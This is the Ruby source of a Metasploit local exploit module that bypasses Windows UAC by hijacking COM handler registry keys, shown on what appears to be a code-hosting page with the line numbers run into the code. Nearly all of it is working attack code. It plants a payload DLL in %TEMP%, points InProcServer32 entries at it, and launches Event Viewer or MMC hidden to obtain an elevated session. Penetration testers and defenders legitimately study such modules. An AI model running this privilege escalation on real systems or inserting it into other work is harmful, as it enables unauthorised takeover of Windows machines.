Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/bypassuac_comhijack.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Post::Windows::Priv10include Post::Windows::Registry11include Post::Windows::Runas12include Post::Windows::Version13include Exploit::FileDropper1415CLSID_PATH = 'HKCU\\Software\\Classes\\CLSID'.freeze16DEFAULT_VAL_NAME = ''.freeze # This maps to "(Default)"1718def initialize(info = {})19super(20update_info(21info,22'Name' => 'Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)',23'Description' => %q{24This module will bypass Windows UAC by creating COM handler registry entries in the25HKCU hive. When certain high integrity processes are loaded, these registry entries26are referenced resulting in the process loading user-controlled DLLs. These DLLs27contain the payloads that result in elevated sessions. Registry key modifications28are cleaned up after payload invocation.2930This module requires the architecture of the payload to match the OS, but the31current low-privilege Meterpreter session architecture can be different. If32specifying EXE::Custom your DLL should call ExitProcess() after starting your33payload in a separate process.3435This module invokes the target binary via cmd.exe on the target. Therefore if36cmd.exe access is restricted, this module will not run correctly.37},38'License' => MSF_LICENSE,39'Author' => [40'Matt Nelson', # UAC bypass discovery and research41'b33f', # UAC bypass discovery and research42'OJ Reeves' # MSF module43],44'Platform' => ['win'],45'Arch' => [ ARCH_X86, ARCH_X64 ],46'SessionTypes' => ['meterpreter'],47'Targets' => [48['Automatic', {}]49],50'DefaultTarget' => 0,51'References' => [52['URL', 'https://wikileaks.org/ciav7p1/cms/page_13763373.html'],53['URL', 'https://github.com/FuzzySecurity/Defcon25/Defcon25_UAC-0day-All-Day_v1.2.pdf']54],55'DisclosureDate' => '1900-01-01',56'Notes' => {57'Reliability' => [ REPEATABLE_SESSION ],58'Stability' => [ CRASH_SAFE ],59'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]60},61'Compat' => {62'Meterpreter' => {63'Commands' => %w[64stdapi_sys_process_execute65]66}67}68)69)70end7172def check73version_info = get_version_info74vprint_status("System OS Detected: #{version_info.product_name}")75# return CheckCode::Safe('UAC is not enabled') unless is_uac_enabled?76if version_info.build_number.between?(::Msf::WindowsVersion::Win7_SP0, ::Msf::WindowsVersion::Win10_1903)77return CheckCode::Appears78end7980return CheckCode::Safe81end8283def exploit84# Make sure we have a sane payload configuration85if sysinfo['Architecture'] != payload_instance.arch.first86fail_with(Failure::BadConfig, "#{payload_instance.arch.first} payload selected for #{sysinfo['Architecture']} system")87end8889registry_view = REGISTRY_VIEW_NATIVE90if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X8691registry_view = REGISTRY_VIEW_64_BIT92end9394# Validate that we can actually do things before we bother95# doing any more work96check_permissions!9798case get_uac_level99when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,100UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,101UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT102fail_with(Failure::NotVulnerable,103"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")104when UAC_DEFAULT105print_good('UAC is set to Default')106print_good('BypassUAC can bypass this setting, continuing...')107when UAC_NO_PROMPT108print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')109shell_execute_exe110return111end112113payload = generate_payload_dll({ dll_exitprocess: true })114commspec = expand_path('%COMSPEC%')115dll_name = expand_path("%TEMP%\\#{rand_text_alpha(8)}.dll")116hijack = hijack_com(registry_view, dll_name)117118unless hijack && hijack[:cmd_path]119fail_with(Failure::Unknown, 'Unable to hijack COM')120end121122begin123print_status("Targeting #{hijack[:name]} via #{hijack[:root_key]} ...")124print_status("Uploading payload to #{dll_name} ...")125write_file(dll_name, payload)126register_file_for_cleanup(dll_name)127128print_status("Executing high integrity process #{expand_path(hijack[:cmd_path])}")129args = "/c #{expand_path(hijack[:cmd_path])}"130args << " #{hijack[:cmd_args]}" if hijack[:cmd_args]131132# Launch the application from cmd.exe instead of directly so that we can133# avoid the dreaded 740 error (elevation required)134client.sys.process.execute(commspec, args, { 'Hidden' => true })135136# Wait a copule of seconds to give the payload a chance to fire before cleaning up137Rex.sleep(5)138139handler(client)140ensure141print_status('Cleaning up registry; this can take some time...')142registry_deletekey(hijack[:root_key], registry_view)143end144end145146# TODO: Add more hijack points when they're known.147# TODO: when more class IDs are found for individual hijackpoints148# they can be added to the array of class IDs.149@@hijack_points = [150{151name: 'Event Viewer',152cmd_path: '%WINDIR%\System32\eventvwr.exe',153class_ids: ['0A29FF9E-7F9C-4437-8B11-F424491E3931']154},155{156name: 'Computer Managment',157cmd_path: '%WINDIR%\System32\mmc.exe',158cmd_args: 'CompMgmt.msc',159class_ids: ['0A29FF9E-7F9C-4437-8B11-F424491E3931']160}161]162163#164# Perform the hijacking of COM class IDS. This function chooses a random165# application target and a random class id associated with it before166# modifying the registry.167#168def hijack_com(registry_view, dll_path)169target = @@hijack_points.sample170target_clsid = target[:class_ids].sample171root_key = "#{CLSID_PATH}\\{#{target_clsid}}"172inproc_key = "#{root_key}\\InProcServer32"173shell_key = "#{root_key}\\ShellFolder"174175registry_createkey(root_key, registry_view)176registry_createkey(inproc_key, registry_view)177registry_createkey(shell_key, registry_view)178179registry_setvaldata(inproc_key, DEFAULT_VAL_NAME, dll_path, 'REG_SZ', registry_view)180registry_setvaldata(inproc_key, 'ThreadingModel', 'Apartment', 'REG_SZ', registry_view)181registry_setvaldata(inproc_key, 'LoadWithoutCOM', '', 'REG_SZ', registry_view)182registry_setvaldata(shell_key, 'HideOnDesktop', '', 'REG_SZ', registry_view)183registry_setvaldata(shell_key, 'Attributes', 0xf090013d, 'REG_DWORD', registry_view)184185{186name: target[:name],187cmd_path: target[:cmd_path],188cmd_args: target[:cmd_args],189root_key: root_key190}191end192193def check_permissions!194fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?195196# Check if you are an admin197vprint_status('Checking admin status...')198admin_group = is_in_admin_group?199200unless is_in_admin_group?201fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')202end203204print_status('UAC is Enabled, checking level...')205if admin_group.nil?206print_error('Either whoami is not there or failed to execute')207print_error('Continuing under assumption you already checked...')208elsif admin_group209print_good('Part of Administrators group! Continuing...')210else211fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')212end213214if get_integrity_level == INTEGRITY_LEVEL_SID[:low]215fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')216end217end218end219220221